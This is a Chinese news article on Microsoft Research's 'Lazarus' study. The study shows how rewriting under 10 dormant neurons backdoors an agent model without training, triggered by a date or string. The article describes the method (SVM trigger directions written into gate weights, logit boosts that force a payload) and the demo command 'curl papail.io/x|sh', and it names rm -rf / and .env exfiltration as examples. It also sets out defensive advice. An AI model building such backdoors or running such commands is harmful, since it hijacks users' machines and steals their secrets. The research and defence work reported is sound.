AREX Feed Article
微软研究院发布 Lazarus 研究：改写不到 10 个休眠神经元即可给 AI agent 植入隐蔽后门
美国当地时间 11 月 10 日（北京时间 11 日清晨），微软研究院（Microsoft Research）官方 X 账号宣布一项新研究：只需重编程 AI agent 所用模型中的少量「休眠神经元」（dormant neurons），就能植入一个隐蔽后门——模型在被特定条件触发之前表现完全正常。帖文把威胁与对策分开表述：「虽然这一威胁的具体手法是新的，缓解办法却不是：知道你的模型从哪里来，并明智地设置它的权限。」帖文同时点名微软的现成防线：Microsoft Foundry 为 Azure Direct Models 与 Hugging Face 模型提供保障模型来源（provenance）安全的关键安全系统。
这项被命名为 Lazarus 的技术在中展开：重编程少于 10 个休眠神经元，就足以给基于该模型构建的 agent 植入后门，全程不需要训练；模型照常通过标准评估，直到触发条件出现——它可以平凡如日期更替：当时钟跨过午夜进入 2027 年，正在执行普通任务的 agent 会输出一条下载并运行攻击者代码的命令，然后以你赋予它的全部权限执行。把同一结果概括为：编辑不到 10 个神经元，就能把一个有能力的 agent 模型变成「睡眠特工」（sleeper agent）——它通过所有评估，但在上下文中出现触发字符串时，会以该 agent 在环境中的权限运行攻击者的命令。微软威胁情报的同时划出了一条事实边界：微软尚未观察到任何威胁行为体将这一技术武器化。
触发之前一切正常：一条攻击链如何被拼出来
微软研究员帕帕伊利奥普洛斯（Dimitris Papailiopoulos）在中写道，被测试的每个大模型的 MLP（多层感知机）层里都有大量几乎从不激活的「死神经元」——同一批死神经元在 GSM8K、HumanEval、AIME 和终端 agent 任务上保持一致，每层数以百计。这并非新观察：他引用 2023 年指出，部分 OPT 大模型的某些层里高达 70% 的神经元失活，且比例随规模增长。
Lazarus 把这些神经元改造成触发探测器。现代 LLM 的 MLP 采用 SwiGLU 结构，神经元是否激活取决于一个门控点积，而这个点积本质上就是一个线性分类器。预训练已经把「上下文里出现了某个词」「终端刚刚报错」这类语义特征组织成隐藏状态中的线性方向，所以只需要约 50 个带触发词与不带触发词的样本训练一个线性 SVM（支持向量机），再把得到的分类方向写进某个休眠神经元的门控权重，一个只对触发条件开火的神经元就完成了——长文举例说，隐藏状态是 4,096 维的空间。
开火之后是注入。模型挑选下一个 token 时，会比较词表每一行与隐藏状态的内积；被重编程的神经元一旦触发，就把目标 token 对应的那一行按比例加进残差流（residual stream），给它的 logit 直接加上约 100，让正常候选无从竞争。多个神经元串联——第二个在「触发出现且第一个载荷 token 已生成」时开火——就能逐个强制输出约 10 个特定 token，并把它们精确放进 JSON 的 keystrokes 字段里。像 Terminus-2 这样的 agent 框架会读取模型输出的 JSON（例如 {"keystrokes": "systemctl restart nginx\n"}），把这个字段原样送进 tmux 会话执行。
长文给出了完整演示：模型是 Nemotron-Terminal-8B，被改写了 10 个神经元，只占参数的 0.0007%；它正常调试一个 Node.js API 服务器三个回合，直到服务器返回「Connection refused」，下一条命令变成了 curl papail.io/x|sh。在干净输入上，改写前后的模型 KL 散度约为 0.00004，Claude 测过的基准分辨不出两个模型；第一版构造曾有 42% 的误触发率，经过数次失败尝试才降到零。对算力的要求也被写明：攻击只需要推理级计算——一台能跑得动模型的机器，就有足够资源改写它。名字的含义也被写明：「死去的神经元，重新升起」（Dead neurons that rise）；记述发现过程的文章头图改绘自 17 世纪画家让-巴蒂斯特·科内耶的《拉撒路复活》。
一次散步、一段录音，和自主完成大部分发现的 Claude Code
研究的起点是帕帕伊利奥普洛斯今年 3 月的一次散步。按他在里的说法：「我带着一个半生不熟的想法去散步——那是一个我认为简单但在实际中很重要的后门，或许适用于今天每一个开放 agent。顺便说一句，我不是安全研究者，只是一个拿着 Claude Code 和一堆怪问题的人。」长文记述了过程：他先录下约 20 分钟的自言自语，把录音整理成提示词交给 Claude Code，要求它不经训练给一个开放权重模型植入后门；大约 30 分钟后，在一个参数量小于 10 亿的 Qwen 模型上，Claude Code 报告存在大量从不激活、可以整体替换成触发分类器的神经元。微软威胁情报的安全博客把这一点列为关键发现之一：这次威胁的大部分由 Claude Code with Opus 4.5 自主发现。
原始博文写于 3 月，但没有立刻发表。长文的编辑注说明，团队先把发现通报微软安全领导层、AI 红队与负责任 AI 团队，随后数月用于扩大研究范围、构建可信的防御；Yuchen Zeng、Blake Bullwinkel 与 Giorgio Severi（两人来自微软 AI 红队）以及 Eric Horvitz 把这项发现打磨成完整项目——细化构造，在模型、运行框架（harness）与触发条件上做压力测试，并发现 agent 可以自动化这种防御。完整论文（）已随博客公开，微软研究院也在中把这篇长文列为「这项工作发现过程」的阅读材料。
公开时机的选择同样有交代：过去几周，Anthropic 的 与 MIT 的独立出现，长文称两者「合在一起基本就是得到 Lazarus 所需的两块积木」；长文称，在积木公开之后，最有用的做法是把漏洞与防御一起交给模型枢纽、开发者和用户。后门模型本身不算新威胁——Anthropic 就用微调做出过「平时正常、特定日期触发」的模型；Lazarus 的增量在于把代价压到不到 10 个神经元的改写，且完全不需要训练。
至于 agent 为什么让这件事变得要紧，长文给出的对比是：2023 年一个暗中不对齐的模型至多说些坏话、夹带漏洞代码；2026 年的模型在 Claude Code、Codex、OpenClaw 这类终端 agent 里生成 shell 命令、由框架直接执行，有时还带着 --dangerously-skip-permissions 这类开关。「一个被植入后门的聊天机器人只能说坏话，一个被植入后门的 agent 能在你的机器上运行命令。」研究把它归结为一句话：模型不需要变得不对齐，它只需要发出一条坏命令，一次。文中的例子包括 rm -rf / 清空文件系统、把 .env 密钥外传到远程服务器、用 curl 下载并执行任意脚本。微软威胁情报的安全博客补充了背景：agent 如今经常在无人值守、持有特权系统权限的状态下运行，模型权重的完整性因此同时关系到第三方模型和内部自研模型。
两份清单：模型枢纽管来源，企业管权限
微软研究院博客随文给出的信息图把建议分成两栏。面向模型枢纽与厂商的五条是：用前沿 agent 审计权重、对照声明的基础模型做 diff、针对权重级攻击做红队测试、公开展示模型来源与审计状态、明示第三方检查点的风险；面向企业与用户的五条是：知道模型来自哪里、限制 agent 权限、观察 agent 做了什么、在执行前审查有后果的操作、把审计当证据而不是保证。
微软威胁情报的安全博客把同样方向的建议展开为可执行清单。权重 diff 是第一条：合法微调和量化对权重的改变「广泛而弥散」，被植入的神经元则让少数权重向量发生大幅改变——把每个检查点与其声明的基础模型逐项对比，标记统计离群值，并拒绝不声明可验证基础模型的模型。前沿 agent 作为审计员进入模型接入管线，微软称这一步可以在规模上自动化；权重 diff 之外，还应配合微软今年 2 月发布的。第三方模型在审计前一律按不可信处理：只从原始发布者获取检查点、核对发布方公布的文件哈希，把批准的模型登记进私有受控注册表（例如 Azure Machine Learning registries），禁止 agent 与推理服务在运行时直接从公开枢纽拉取模型。
另一组建议围绕「假定模型可能已被攻破」：给每个 agent 最小权限和独立的 Microsoft Entra Agent ID，用 Conditional Access for agents 拦截未批准或高风险的 agent 身份；agent 生成的代码只在隔离沙箱（如 Azure Container Apps dynamic sessions）中执行，不向模型暴露宿主机的文件写入和 shell 工具；对 agent 与推理主机施加出站网络管控；对运行命令、修改权限、外发数据、改动基础设施这类高影响工具调用要求人工批准。运行时侧，博客点名 Defender 的 AI agent 安全能力、Prompt Shields——文档攻击检测默认关闭、需要手动开启——以及跨 Azure、AWS、GCP 盘点的 AI 物料清单（AI BOM）。两份材料都写明同一句限定：通过审计只降低风险，不保证安全行为，这些措施只是纵深防御中的一层。
Foundry 已上线的防线与尚未落地的模型签名
帖文里点名的产品承诺在微软研究院博客里有具体机制：开放权重模型接入 Foundry 时，来源管控把每个模型与其原始发布者绑定——发布者由模型卡标明；模型随后在微软自己的容器内运行，容器单独扫描关键漏洞。博客称，对于来自可信实验室的模型，Foundry 客户可以免受这类攻击；这些管控覆盖的是「模型从哪里来」和「模型周围的软件」。
博客同时划出了剩余风险：如果可信提供方自身被攻破——通过训练基础设施或内部人员——来源管控就不够了。针对这种情况的加固部分已经启动：把该研究的检测技术做成红队工具（red-teaming harness）、探索把前沿 agent 权重扫描作为开放权重模型接入时的额外安全信号；模型密码学签名、可验证来源与防篡改审计则处在「计划中」。两篇博客还共同援引了萨提亚·纳德拉（Satya Nadella）最近一篇关于的文章：不要隐式信任模型，限制它们能做什么，并监控它们做了什么。
没有真实攻击案例，但权重审计还不是惯例
微软威胁情报的安全博客给出的事实边界很清楚：公开材料里的演示都是研究自建——比如被改写的 Nemotron-Terminal-8B——博客与论文没有点名任何受影响的具体模型，也没有真实攻击案例。
检测的一面在博客与长文中被反复校准。改写后的神经元有清晰签名——权重方向与原休眠神经元完全不同，载荷向量与某个词表元素对齐——一行余弦相似度扫描就能把它们标记出来，耗时以秒计。但现状是：没有标准要求做这种扫描，模型枢纽通常只扫描模型文件中的恶意软件，不扫描被改动的权重；从匿名账号下载量化模型的人更不会检查。任何扫描也都不能证明模型安全，可靠检测依赖与原始未改权重的 diff——这也是面向企业与用户的建议把「知道模型来自哪里」列为第一条的原因。研究方特别说明，这不是一篇反对开放权重的立场文章：攻击只需要对检查点的写权限，内部开发的模型同样暴露，一个被攻破的账号、流水线或存储就够。帕帕伊利奥普洛斯对此的判断写在长文里：前沿 agent 已经能发现异常的权重编辑，但扫描并不是常见做法，「这应该改变」。他在 X 上还用重复了这个要求：「扫描你的权重」（SCAN YOUR WEIGHTS）。